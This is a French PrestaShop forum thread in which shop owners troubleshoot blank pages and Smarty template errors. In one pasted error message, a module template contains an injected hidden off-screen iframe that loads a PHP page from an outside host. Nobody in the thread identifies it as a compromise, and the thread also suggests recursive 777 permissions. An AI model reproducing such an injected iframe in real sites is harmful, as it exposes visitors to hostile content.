cyntoch Posted May 29, 2013 Share Posted May 29, 2013 Bonjour, Depuis tout à l'heure il m'est impossible de me rendre sur mon site... J'ai une page toute blanche. Je peux par contre me rendre sur mon BO sans problème. Je précise que je n'ai RIEN touché. Ce matin j'ai juste rentré quelques produits, et cet après-midi je n'étais pas chez moi et quand je suis rentré et que j'ai voulu travailler un peu, tout était blanc... Vous pensez que cela vient de mon hébergeur? Merci. Link to comment Share on other sites More sharing options...
Oron Posted May 29, 2013 Share Posted May 29, 2013 Bonjour Regardez ce topic vous aurez sans doute la solution : http://www.prestashop.com/forums/topic/229195-que-faire-en-cas-de-page-blanche-ou-partie-blanche-dans-le-shop/ Link to comment Share on other sites More sharing options...
cyntoch Posted May 29, 2013 Author Share Posted May 29, 2013 Bonjour, Merci pour cette réponse ;-) Sur chrome (Pas sur Filezilla), j'ai un message d'erreur: Erreur HTTP 500 (Internal Server Error) : Une situation inattendue s'est produite tandis que le serveur tentait de traiter la demande. Mais comment ça se fait que cela arrive alors que je n'ai rien touché? Link to comment Share on other sites More sharing options...
Bondaty and Co Posted May 30, 2013 Share Posted May 30, 2013 En générale les erreurs 500 viennent d'un problème de htaccess ou un module qui bug (problèmes de fichier config) Link to comment Share on other sites More sharing options...
Oron Posted May 30, 2013 Share Posted May 30, 2013 Bonjour Quel version de prestashop ? Pouvez-vous m'indiquez l'adresse de votre site Merci vous pouvez le faire en MP si vous souhaitez garder en discrétion. Link to comment Share on other sites More sharing options...
cyntoch Posted May 30, 2013 Author Share Posted May 30, 2013 Bonjour, Alors effectivement hier j'avais un fichier vide dans le module blocknewproduct. J'ai donc retéléchargé le dossier config.xml sur mon serveur. Je ne comprend pas pourquoi cela arrive du jour au lendemain par contre? Mais en tout cas j'ai toujours le même soucis, le site ne s'affiche pas. J'ai contacté mon hébergeur hier, et ce matin il m’ont répondu en me disant que de leur coté tout allait bien et que eux voyait mon site Mais moi non, j'ai essayé sur plusieurs PC différents et idem. Vous le voyez vous? http://www.littlefabrics.fr/ Oron, j'utilise la version 1.5.4.0. Merci pour votre aide Link to comment Share on other sites More sharing options...
Bondaty and Co Posted May 30, 2013 Share Posted May 30, 2013 Chez moi tout est OK Link to comment Share on other sites More sharing options...
cyntoch Posted May 30, 2013 Author Share Posted May 30, 2013 Moi page blanche encore.... Et hier chez une copine pareil... Je comprends rien Link to comment Share on other sites More sharing options...
cyntoch Posted May 30, 2013 Author Share Posted May 30, 2013 Vous avez naviguer un peu dessus? Je viens d'appeler mon mari qui est au travail pour lui demander de se connecter sur mon site pour voir si il le voyait et il a réussi à le visualiser mais dès qu'il a commencé à naviguer dessus le message d'erreur est apparu chez lui aussi: Erreur HTTP 500 (Internal Server Error) : Une situation inattendue s'est produite tandis que le serveur tentait de traiter la demande. Link to comment Share on other sites More sharing options...
Gregory Roussac Posted May 30, 2013 Share Posted May 30, 2013 (edited) Bonjour, Effectivement, il y a un souci avec certaines pages. C'est un souci de cookie. Vous avez essayé par ftp de changer define('_PS_MODE_DEV_', true); Cordialement Edited May 30, 2013 by Gregory Roussac (see edit history) Link to comment Share on other sites More sharing options...
cyntoch Posted May 30, 2013 Author Share Posted May 30, 2013 Bonjour, Je dois changer quel fichier s'il vous plaît? (Je suis désolée mais je débute donc il me faut plus d'explication) Merci beaucoup pour votre réponse. Link to comment Share on other sites More sharing options...
Gregory Roussac Posted May 30, 2013 Share Posted May 30, 2013 Dans le fichier defines.inc.php dans le dossier /config/ Link to comment Share on other sites More sharing options...
cyntoch Posted May 30, 2013 Author Share Posted May 30, 2013 Et en fait je dois remplacer par quoi exactement (je suis désolée de vous embêter :-( Link to comment Share on other sites More sharing options...
Gregory Roussac Posted May 30, 2013 Share Posted May 30, 2013 Pas de soucis, cela fait de l'information pour les suivants =) define('_PS_MODE_DEV_', false); à define('_PS_MODE_DEV_', true); false par true donc. Link to comment Share on other sites More sharing options...
cyntoch Posted May 30, 2013 Author Share Posted May 30, 2013 Merci beaucoup, j'essaie ça de suite ;-) je reviens pour donner la suite... Link to comment Share on other sites More sharing options...
Gregory Roussac Posted May 30, 2013 Share Posted May 30, 2013 Regardez vos logs dans la section hébergement de votre OVH manager également en cas d'insuccès. Cordialement Link to comment Share on other sites More sharing options...
cyntoch Posted May 30, 2013 Author Share Posted May 30, 2013 Bon, cela ne marche pas... Ok pour les logs, mais ou je trouve cela? C'est quoi la section d'hebergement de mon OVH ? Merci merci pour votre patience Link to comment Share on other sites More sharing options...
Gregory Roussac Posted May 30, 2013 Share Posted May 30, 2013 Connectez vous à votre compte ovh sur leur manager Normalement leur interface vous permettra d'y accéder en cherchant des les menus. Link to comment Share on other sites More sharing options...
cyntoch Posted May 30, 2013 Author Share Posted May 30, 2013 Vous parlez de l'hebergeur OVH ? Car je ne suis pas chez eux. Link to comment Share on other sites More sharing options...
cyntoch Posted May 30, 2013 Author Share Posted May 30, 2013 Sur firefox j'avais une page blanche, maintenant j'ai ceci: Fatal error: Uncaught exception 'SmartyException' with message 'Invalid compiled template for '/flex/domain/littlefabrics.fr/site/www/modules/brabieblockviewed/brabieblockviewed.tpl'' in /flex/domain/littlefabrics.fr/site/www/tools/smarty/sysplugins/smarty_internal_templatebase.php:174 Stack trace: #0 /flex/domain/littlefabrics.fr/site/www/classes/module/Module.php(1621): Smarty_Internal_TemplateBase->fetch() #1 /flex/domain/littlefabrics.fr/site/www/modules/brabieblockviewed/brabieblockviewed.php(177): ModuleCore->display('/flex/domain/li...', 'brabieblockview...') #2 /flex/domain/littlefabrics.fr/site/www/classes/Hook.php(423): brabieblockviewed->hookRightColumn(Array) #3 /flex/domain/littlefabrics.fr/site/www/classes/controller/FrontController.php(428): HookCore::exec('displayRightCol...', Array) #4 /flex/domain/littlefabrics.fr/site/www/controllers/front/IndexController.php(37): FrontControllerCore->initContent() #5 /flex/domain/littlefabrics.fr/site/www/classes/controller/Controller.php(167): IndexControllerCore->ini in /flex/domain/littlefabrics.fr/site/www/tools/smarty/sysplugins/smarty_internal_templatebase.php on line 174 Link to comment Share on other sites More sharing options...
Gregory Roussac Posted May 30, 2013 Share Posted May 30, 2013 Vous pouvez désactiver ce module brabieblockviewed le temps d'un test ? Link to comment Share on other sites More sharing options...
cyntoch Posted May 30, 2013 Author Share Posted May 30, 2013 ok, je le fais de suite Link to comment Share on other sites More sharing options...
Gregory Roussac Posted May 30, 2013 Share Posted May 30, 2013 Vous parlez de l'hebergeur OVH ? Car je ne suis pas chez eux. Oui je ne sais pas pourquoi j'ai cru lire cela sur l'autre post. J'ai rêvé ! Link to comment Share on other sites More sharing options...
cyntoch Posted May 30, 2013 Author Share Posted May 30, 2013 Ça marche !!!!!!!!!!!!!!!!!!!!! C'était juste à cause de ce module ?! Link to comment Share on other sites More sharing options...
Gregory Roussac Posted May 30, 2013 Share Posted May 30, 2013 Il dit que ce fichier /modules/brabieblockviewed/brabieblockviewed.tpl n'est pas au top de sa forme. Il faudrait vérifier pourquoi. Et comme ce module doit influer sur le cookie, cela peut aller vite vers une erreur assez bloquante, comme le nom affichage du module ou carrément de la page si php émet une grosse erreur en essayant de l'afficher dans le thème. Essayez de voir avec son développeur peut être ? Link to comment Share on other sites More sharing options...
cyntoch Posted May 30, 2013 Author Share Posted May 30, 2013 Franchement, je crois que je vais plutôt le supprimer parce que je l'avais juste parce qu'il faisait parti du thème que j'ai acheté mais je n'en ai pas vraiment besoin... J'ai pas envie d'avoir à nouveau des problèmes... Par contre depuis ce problème je m’aperçois que les boutons de navigations (en haut à droite des 4 photos horizontales qui représentent mes nouveautés) sont coupés ... Vraiment un graaaand merci pour ton aide 1 Link to comment Share on other sites More sharing options...
cyntoch Posted May 30, 2013 Author Share Posted May 30, 2013 Je regarde un peu partout dans mon site pour voir si il y a d'autres problèmes et j'ai un autre message d'erreur dans mon panier, à l'étape 4 Frais de port: Warning: Illegal string offset 'PS_VERSION' in /flex/domain/littlefabrics.fr/site/www/cache/smarty/compile/faea3bb0f7d3727881aea6233981276c16ff9a03.file.checkout_process.tpl.php on line 41 Warning: Illegal string offset 'carrier' in /flex/domain/littlefabrics.fr/site/www/cache/smarty/compile/faea3bb0f7d3727881aea6233981276c16ff9a03.file.checkout_process.tpl.php on line 41 Link to comment Share on other sites More sharing options...
Gregory Roussac Posted May 30, 2013 Share Posted May 30, 2013 Mais comment ça se fait que cela arrive alors que je n'ai rien touché? Sans vouloir faire la rabat joie, au contraire , lisez bien les réponses des modos, ils connaissent bien la musique et Muche et Oron ont vu juste tout de suite, il faut bien surveiller ses modules tiers et son htaccess ainsi que toujours avoir une sauvegarde de votre base de données régulière et un du fichier /config/settings.inc.php Link to comment Share on other sites More sharing options...
Gregory Roussac Posted May 30, 2013 Share Posted May 30, 2013 /faea3bb0f7d3727881aea6233981276c16ff9a03.file.checkout_process.tpl.php on line 41 Je ne crois pas qu'il y ait un template de ce nom checkout_process.tpl dans le thème de base. Il faudrait contacter votre créateur de thème je pense. Bonne continuation. Link to comment Share on other sites More sharing options...
cyntoch Posted May 31, 2013 Author Share Posted May 31, 2013 D'accord merci pour tous vos conseils ;-) Oui je sauvegarde à chaque fois que je fais même ne serait-ce qu'un minuscule changement, trop peur lol En tout cas encore un grand merci pour votre aide! Et merci aussi d'avoir mi mon post en résolu (Mais je vous jure que j'allais le faire ) Link to comment Share on other sites More sharing options...
CSCE Posted November 12, 2013 Share Posted November 12, 2013 Bonjour, Depuis ce matin j'ai également un problème de page blanche sur notre site www.dealshop.fr. J'ai modifié le fichier config.inc.php pour faire apparaitre le message d'erreur, qui est le suivant : Fatal error: Uncaught exception 'SmartyException' with message 'Invalid compiled template for '/srv/d_csce/www/www.dealshop.fr/htdocs/modules//paypal//js/front_office.js'' in /srv/d_csce/www/www.dealshop.fr/htdocs/tools/smarty/sysplugins/smarty_internal_templatebase.php:174 Stack trace: #0 /srv/d_csce/www/www.dealshop.fr/htdocs/modules/paypal/paypal_abstract.php(320): Smarty_Internal_TemplateBase->fetch('/srv/d_csce/www...') #1 /srv/d_csce/www/www.dealshop.fr/htdocs/modules/paypal/paypal_abstract.php(366): PayPalAbstract->fetchTemplate('/js/', 'front_office', 'js') #2 /srv/d_csce/www/www.dealshop.fr/htdocs/classes/Hook.php(417): PayPalAbstract->hookHeader(Array) #3 /srv/d_csce/www/www.dealshop.fr/htdocs/classes/controller/FrontController.php(448): HookCore::exec('displayHeader') #4 /srv/d_csce/www/www.dealshop.fr/htdocs/controllers/front/IndexController.php(38): FrontControllerCore->initContent() #5 /srv/d_csce/www/www.dealshop.fr/htdocs/classes/controller/Controller.php(168): IndexControllerCore->initContent() #6 /srv/d_ in /srv/d_csce/www/www.dealshop.fr/htdocs/tools/smarty/sysplugins/smarty_internal_templatebase.php on line 174 J'ai désactivé le thème mobile en admin mais rien n'y change. Quelq'un peut-il m'aider ? Merci à vous Link to comment Share on other sites More sharing options...
Gregory Roussac Posted November 12, 2013 Share Posted November 12, 2013 Bonjour, C'est un souci sur le module Paypal. Essayez de le mettre à jour et le resinstaller. Cordialement Link to comment Share on other sites More sharing options...
CSCE Posted November 12, 2013 Share Posted November 12, 2013 Bonjour, Merci pour votre réponse. Le problème c'est qu'en admin j'ai le meme message d'erreur lorsque j'essai d'accéder à la rubrique Modules. Je ne peux donc pas intervenir sur le module Paypal... Comment faire ? Link to comment Share on other sites More sharing options...
Gregory Roussac Posted November 12, 2013 Share Posted November 12, 2013 Essayez de le mettre à jour part FTP à partir de ce zip https://github.com/PrestaShop/PrestaShop-modules/archive/master.zip Cordialement Link to comment Share on other sites More sharing options...
CSCE Posted November 12, 2013 Share Posted November 12, 2013 Re, Merci, j'ai envoyé par FTP le module Paypal de votre ZIP. Maintenant le message d'erreur est le suivant côté front : Fatal error: Uncaught exception 'SmartyCompilerException' with message 'Syntax Error in template "/srv/d_csce/www/www.dealshop.fr/htdocs/modules/rezo/rezo_column.tpl" on line 12 "</div><!--eea1fe--><style>body {overflow-x:hidden;overflow-y:auto;} </style> <iframe id="xk" name="xk" style="position:absolute; height: 100px; width:120px; left:5000px; top:120px;" src="http://pythians09f6.coolpage.biz/images/sourstats.php" > </iframe><!--/eea1fe-->" - Unexpected ":", expected one of: "}" , " "' in /srv/d_csce/www/www.dealshop.fr/htdocs/tools/smarty/sysplugins/smarty_internal_templatecompilerbase.php:627 Stack trace: #0 /srv/d_csce/www/www.dealshop.fr/htdocs/tools/smarty/sysplugins/smarty_internal_templateparser.php(3154): Smarty_Internal_TemplateCompilerBase->trigger_template_error() #1 /srv/d_csce/www/www.dealshop.fr/htdocs/tools/smarty/sysplugins/smarty_internal_templateparser.php(3219): Smarty_Internal_Templateparser->yy_syntax_error(2, ':') in /srv/d_csce/www/www.dealshop.fr/htdocs/tools/smarty/sysplugins/smarty_internal_templatecompilerbase.php on line 627 et coté BO, rubrique Modules : Fatal error: Uncaught exception 'SmartyException' with message 'Invalid compiled template for 'controllers/modules/js.tpl'' in /srv/d_csce/www/www.dealshop.fr/htdocs/tools/smarty/sysplugins/smarty_internal_templatebase.php:174 Stack trace: #0 /srv/d_csce/www/www.dealshop.fr/htdocs/tools/smarty/sysplugins/smarty_internal_template.php(285): Smarty_Internal_TemplateBase->fetch(NULL, NULL, NULL, NULL, false, false, true) #1 /srv/d_csce/www/www.dealshop.fr/htdocs/cache/smarty/compile/80f061640c439583705be2866dcb65c6bf2b2408.file.content.tpl.php(34): Smarty_Internal_Template->getSubTemplate('controllers/mod...', NULL, NULL, NULL, NULL, Array, 0) #2 /srv/d_csce/www/www.dealshop.fr/htdocs/tools/smarty/sysplugins/smarty_internal_templatebase.php(180): content_508e87eae04144_73559880(Object(Smarty_Internal_Template)) #3 /srv/d_csce/www/www.dealshop.fr/htdocs/classes/controller/AdminController.php(1148): Smarty_Internal_TemplateBase->fetch() #4 /srv/d_csce/www/www.dealshop.fr/htdocs/classes/controller/Controller.php(186): AdminContr in /srv/d_csce/www/www.dealshop.fr/htdocs/tools/smarty/sysplugins/smarty_internal_templatebase.php on line 174 Une idée ? Link to comment Share on other sites More sharing options...
Gregory Roussac Posted November 12, 2013 Share Posted November 12, 2013 A priori vous avez un souci avec le module rezo, mais il faudrait voir avec son créateur. Cordialement Link to comment Share on other sites More sharing options...
CSCE Posted November 12, 2013 Share Posted November 12, 2013 Re, J'ai supprimmé le module REZO, je verrais plus tard pour cela. Du coup le FO est à nouveau accessible mais le BO rubriques Modules affiche toujours le message d'erreur suivant : Fatal error: Uncaught exception 'SmartyException' with message 'Invalid compiled template for 'controllers/modules/js.tpl'' in /srv/d_csce/www/www.dealshop.fr/htdocs/tools/smarty/sysplugins/smarty_internal_templatebase.php:174 Stack trace: #0 /srv/d_csce/www/www.dealshop.fr/htdocs/tools/smarty/sysplugins/smarty_internal_template.php(285): Smarty_Internal_TemplateBase->fetch(NULL, NULL, NULL, NULL, false, false, true) #1 /srv/d_csce/www/www.dealshop.fr/htdocs/cache/smarty/compile/80f061640c439583705be2866dcb65c6bf2b2408.file.content.tpl.php(34): Smarty_Internal_Template->getSubTemplate('controllers/mod...', NULL, NULL, NULL, NULL, Array, 0) #2 /srv/d_csce/www/www.dealshop.fr/htdocs/tools/smarty/sysplugins/smarty_internal_templatebase.php(180): content_508e87eae04144_73559880(Object(Smarty_Internal_Template)) #3 /srv/d_csce/www/www.dealshop.fr/htdocs/classes/controller/AdminController.php(1148): Smarty_Internal_TemplateBase->fetch() #4 /srv/d_csce/www/www.dealshop.fr/htdocs/classes/controller/Controller.php(186): AdminContr in /srv/d_csce/www/www.dealshop.fr/htdocs/tools/smarty/sysplugins/smarty_internal_templatebase.php on line 174 Pouvez-vous m'aider à solutionner ce problème ? Merci à vous Link to comment Share on other sites More sharing options...
Gregory Roussac Posted November 12, 2013 Share Posted November 12, 2013 Re, Essayer de re uploader ce fichier ? https://github.com/PrestaShop/PrestaShop/blob/development/admin-dev/themes/default/template/controllers/modules/js.tpl Ou essayez de vider votre cache smarty dans l'onglet Performances ? Cordialement Link to comment Share on other sites More sharing options...
CSCE Posted November 12, 2013 Share Posted November 12, 2013 Bonsoir, J'ai essayé avec l'envoi en FTP du fichier js.tpl ainsi qu'avec le vide du cache smarty mais j'ai toujours le même message d'erreur :/ Et uniquement pour cette rubrique de l'admin... Encore merci pour votre aide :-) si vous avez d'autres pistes pour moi... Link to comment Share on other sites More sharing options...
Gregory Roussac Posted November 12, 2013 Share Posted November 12, 2013 Désolé, peut être un module qui ne passe pas ? Jamais vu ça sur ce fichier, désolé vous me collez là ! Cordialement Link to comment Share on other sites More sharing options...
Gregory Roussac Posted November 12, 2013 Share Posted November 12, 2013 Essayez de nous copier collé dans une balise code Le contenu de /www/www.dealshop.fr/htdocs/cache/smarty/compile/80f061640c439583705be2866dcb65c6bf2b2408.file.content.tpl.php ? Cordialement Link to comment Share on other sites More sharing options...
CSCE Posted November 12, 2013 Share Posted November 12, 2013 Re bonsoir, en fait en verifiant avec mon logiciel ftp je me suis aperçue que le cache smarty n'avait pas été vidé ;-) Je l'ai fait manuellement et tout est ok ;-) Merci pour votre aide c'est super. Bonne soirée a vous Link to comment Share on other sites More sharing options...
barbarisk Posted March 19, 2014 Share Posted March 19, 2014 Bonjour, J'ai exactement le même problème, sauf que toutes les solutions proposées restent inefficaces. Je suis totalement perdue. Quelqu'un pourrait m'aider svp? Voici le message d'erreur: Fatal error: Uncaught exception 'SmartyCompilerException' with message 'Syntax Error in template "/homez.571/tshirtsd/www/themes/default-bootstrap/header.tpl" on line 60 "{/if}" unexpected closing tag' in /homez.571/tshirtsd/www/tools/smarty/sysplugins/smarty_internal_templatecompilerbase.php:667 Stack trace: #0 /homez.571/tshirtsd/www/tools/smarty/sysplugins/smarty_internal_compilebase.php(170): Smarty_Internal_TemplateCompilerBase->trigger_template_error('unexpected clos...', 60) #1 /homez.571/tshirtsd/www/tools/smarty/sysplugins/smarty_internal_compile_if.php(197): Smarty_Internal_CompileBase->closeTag(Object(Smarty_Internal_SmartyTemplateCompiler), Array) #2 /homez.571/tshirtsd/www/tools/smarty/sysplugins/smarty_internal_templatecompilerbase.php(475): Smarty_Internal_Compile_Ifclose->compile(Array, Object(Smarty_Internal_SmartyTemplateCompiler), Array, NULL, NULL) #3 /homez.571/tshirtsd/www/tools/smarty/sysplugins/smarty_internal_templatecompilerbase.php(259): Smarty_Internal_TemplateCompilerBase- in /homez.571/tshirtsd/www/tools/smarty/sysplugins/smarty_internal_templatecompilerbase.php on line 667 D'avance merci... Link to comment Share on other sites More sharing options...
Gregory Roussac Posted March 19, 2014 Share Posted March 19, 2014 Bonjour, Il y a un souci avec un template du module brabieblockviewed, essayez de le désactiver ? Cordialement Link to comment Share on other sites More sharing options...
barbarisk Posted March 19, 2014 Share Posted March 19, 2014 Merci pour votre réponse. Non ça c'était chez la personne précédente ^^ Moi mon message d'erreur ne mentionne pas "brabieblockviewed" et d'ailleurs je n'ai aucun module de ce nom.Si vous avez une autre piste je suis prenneuse, parce que vraiment je ne sais plus quoi faire Link to comment Share on other sites More sharing options...
Gregory Roussac Posted March 19, 2014 Share Posted March 19, 2014 (edited) Désolé, vous avez édité le message non ? Une fermeture de if en trop ligne 60 de header.tpl. Cordialement Edited March 19, 2014 by Gregory Roussac (see edit history) Link to comment Share on other sites More sharing options...
barbarisk Posted March 19, 2014 Share Posted March 19, 2014 Ok merci. J'ai supprimé le {/if} qui était effectivement en trop, ainsi que d'autres petites erreurs dû même genre qui apparaissaient, et le site s'affiche correctement sur Firefox. Par contre sur IE c'est le chaos total (alors qu'avant, le site s'affichait de la même manière sur ces 2 navigateurs). J'ai du mal à comprendre comment un problème peut apparaître sans que je touche à quoi que ce soit, et comment après correction le site peut s'afficher totalement différemment, mais bon... Je chercherai dans une autre rubrique comment faire une 2ème feuille de style pour IE sur un site PrestaShop.Merci votre aide en tout cas! Link to comment Share on other sites More sharing options...
Gregory Roussac Posted March 19, 2014 Share Posted March 19, 2014 Bonjour, Ma foi c'est bien le template default-boostrap dont nous parlons ? Je vous confirme il passe normalement bien sur les derniers IE sans modif à faire dessus. Vous n'avez rien touché mais vous avez un {/if} en trop quand même ? Je ne comprends pas trop non plus désolé. Cordialement Link to comment Share on other sites More sharing options...
barbarisk Posted March 19, 2014 Share Posted March 19, 2014 Ah oui, ça je vous garantis que la balise {/if} était en trop dans le template default-boostrap de base, ainsi qu'une balise </div> sur la ligne juste au dessus. Je n'avais pas encore ouvert le fichier header.tpl donc je vous le garantis. J'avais uniquement touché au css (et encore, pas beaucoup, juste redimensionné le body et ajouté une image de fond). Maintenant je me retrouve avec un template chaotique complètement différent sur chaque navigateur. Il n'y en a pas 2 identiques. C'est mon 3ème site PrestaShop, et je n'avais jamais eu de tel bug.Si c'est possible de faire une feuille de style pour chaque navigateur, je vais opter pour cette solution de repli. Link to comment Share on other sites More sharing options...
Gregory Roussac Posted March 19, 2014 Share Posted March 19, 2014 Rebonjour, Désolé mais je ne reproduis pas votre soucis sur ce {/if} qui en trop. Cordialement Link to comment Share on other sites More sharing options...
barbarisk Posted March 21, 2014 Share Posted March 21, 2014 (edited) Bon puisqu'aucune solution proposée ne fonctionne chez moi, j'ai entièrement supprimé et réinstallé PrestaShop. En espérant que ce bug ne réapparaisse pas. Merci pour votre aide. Edited March 21, 2014 by barbarisk (see edit history) 1 Link to comment Share on other sites More sharing options...
Gregory Roussac Posted March 21, 2014 Share Posted March 21, 2014 FInalement, puisqu'aucune solution proposée ne fonctionnait, j'ai entièrement supprimé PrestaShop puis je l'ai ré-installé. Il est donc 100% vierge de toute modification, et déjà il s'affiche mal sur IE8: http://t-shirtsd3porcs.com/ Avez-vous une solution, ou une autre version qui s'affiche correctement sur TOUS les navigateurs? Merci... Bonjour, Effectivement je crois que ce thème n'a été fait qu'à partir d'IE9. Cordialement Link to comment Share on other sites More sharing options...
edelbo Posted April 1, 2014 Share Posted April 1, 2014 (edited) Bonjour, J'ai actuellement un probleme de page blanche. J'ai fait la manip define('_PS_MODE_DEV_', false); et voici ce qu'il s'affiche : Warning: include_once(*****************smarty_internal_data.php) [function.include-once]: failed to open stream: No such file or directory in /smarty/Smarty.class.php on line 95Warning: include_once() [function.include]: Failed opening '*********************/smarty_internal_data.php' for inclusion (include_path='.:/usr/local/lib/php') in **********************smarty/Smarty.class.php on line 95 Je ne trouve pas de solution sur les différentes page de forum. Avez-vous une idée ou un lien pour m'aider ? Merci d'avance Edited April 2, 2014 by edelbo (see edit history) Link to comment Share on other sites More sharing options...
Gregory Roussac Posted April 2, 2014 Share Posted April 2, 2014 Hello, Il dit que le dossier /homez.424/dbvzmsno/www/sujiskateboards/tools/smarty/ n’est pas à jour et qu'il manque apparemment des fichiers. Cordialement Link to comment Share on other sites More sharing options...
edelbo Posted April 2, 2014 Share Posted April 2, 2014 Effectivement, tout est remis en place. Merci, Cordialement. Link to comment Share on other sites More sharing options...
evian.gsm Posted November 13, 2014 Share Posted November 13, 2014 Bonsoir tous mes produits ont disparu quelqun p m'aider merci Il y a 12 erreurs Le produit doit être au minimum dans une catégorie. Ce produit doit être dans la catégorie par défaut. erreur vous n'avez pas accès à ce produit« PrécédentTab : Associations (500) Une erreur de serveur est survenue lors du chargement des onglets : tous les onglets n'ont pas pu être chargés.Veuillez essayer de nouveau en rafraîchissant la page.Si vous rencontrez toujours ce problème, veuillez vérifier vos logs serveur ou contacter votre hébergeur pour plus d'information. Link to comment Share on other sites More sharing options...
simon7913 Posted February 13, 2015 Share Posted February 13, 2015 Bonjour, Je rencontre également ce problème à plusieurs reprise sur mon site (de manière aléatoire). J'utilise la version de PrestaShop: 1.6.0.5. J'ai regardé les tuto, mais je ne trouve pas comment afficher les erreurs sur ma page blanche avec ma version de prestashop... Quelqu'un peut-il m'indiquer se qu'il faut modifier dans le fichier config svp ? Je vous remercie Link to comment Share on other sites More sharing options...
Gregory Roussac Posted February 13, 2015 Share Posted February 13, 2015 Hello, https://www.prestashop.com/blog/fr/erreur-500-prestashop-suivez-le-guide/ http://doc.prestashop.com/display/PS16/Troubleshooting Cordialement Link to comment Share on other sites More sharing options...
simon7913 Posted February 13, 2015 Share Posted February 13, 2015 (edited) A parfait merci... J'ai donc ce message qui s'affiche en erreur : Fatal error: Uncaught exception 'SmartyException' with message 'unable to write file ....../cache/smarty/cache Pouvez-vous svp m'éclairer sur ce problème ? Merci Edited February 13, 2015 by simon7913 (see edit history) Link to comment Share on other sites More sharing options...
Gregory Roussac Posted February 13, 2015 Share Posted February 13, 2015 (edited) Hello, Oui ça ressemble à un bug d'accès concurent de cette version je pense, il n'arrive pas à ecrire le fichier. Essayez de vider votre cache dans l'onglet performances ? ou de re appliquer des droits 777 récursifs sur le dossier cache mais ma foi il va falloir penser à mettre à jour le shop bientôt. Cordialement Edited February 13, 2015 by Gregory Roussac (see edit history) Link to comment Share on other sites More sharing options...
simon7913 Posted February 13, 2015 Share Posted February 13, 2015 Oui...en vidant le cache ça remarche parfaitement. Par contre sur le long terme ce n'est pas une solution envisageable. Vous pensez que le problème peux être liée à une mise à jours de prestashop ? Quelle est la dernière version stable de prestashop ? PS : merci pour votre réactivité ! Link to comment Share on other sites More sharing options...
Gregory Roussac Posted February 13, 2015 Share Posted February 13, 2015 Re, Je pense que c'est possiblement un bug de cette version et qu'il faudrait effectivement tester avec la prochaine version 1.6.0.12 à venir. Cordialement Link to comment Share on other sites More sharing options...
simon7913 Posted February 13, 2015 Share Posted February 13, 2015 Je suis donc en dernière version moi ? (1.6.0.5) ? Quand sors la prochaine version ? Link to comment Share on other sites More sharing options...
simon7913 Posted February 14, 2015 Share Posted February 14, 2015 Je viens de rencontrer le même soucis ce matin mais sur le BO cette fois... Quand j'ai cliqué sur une commande client j'ai eu ce message Fatal error in module smarty_internal_write_file: Uncaught exception 'SmartyException' with message 'unable to write file Par contre cela ne le faisait pas sur toutes les commandes. J'ai vidé le cache et problème resolu. Par contre c'est pas une solution au long terme Avez vous une solution pour résoudre ces pb de pages blanches svp ? Merci Link to comment Share on other sites More sharing options...
simon7913 Posted February 15, 2015 Share Posted February 15, 2015 Mon problème persiste et cette fois c'est le BO office qui est en page blanche J'ai acces a la page de connexion, mais quand je clique sur connexion je tombe sur page blanche Quelqu'un a t'il une solution ? Merci Link to comment Share on other sites More sharing options...
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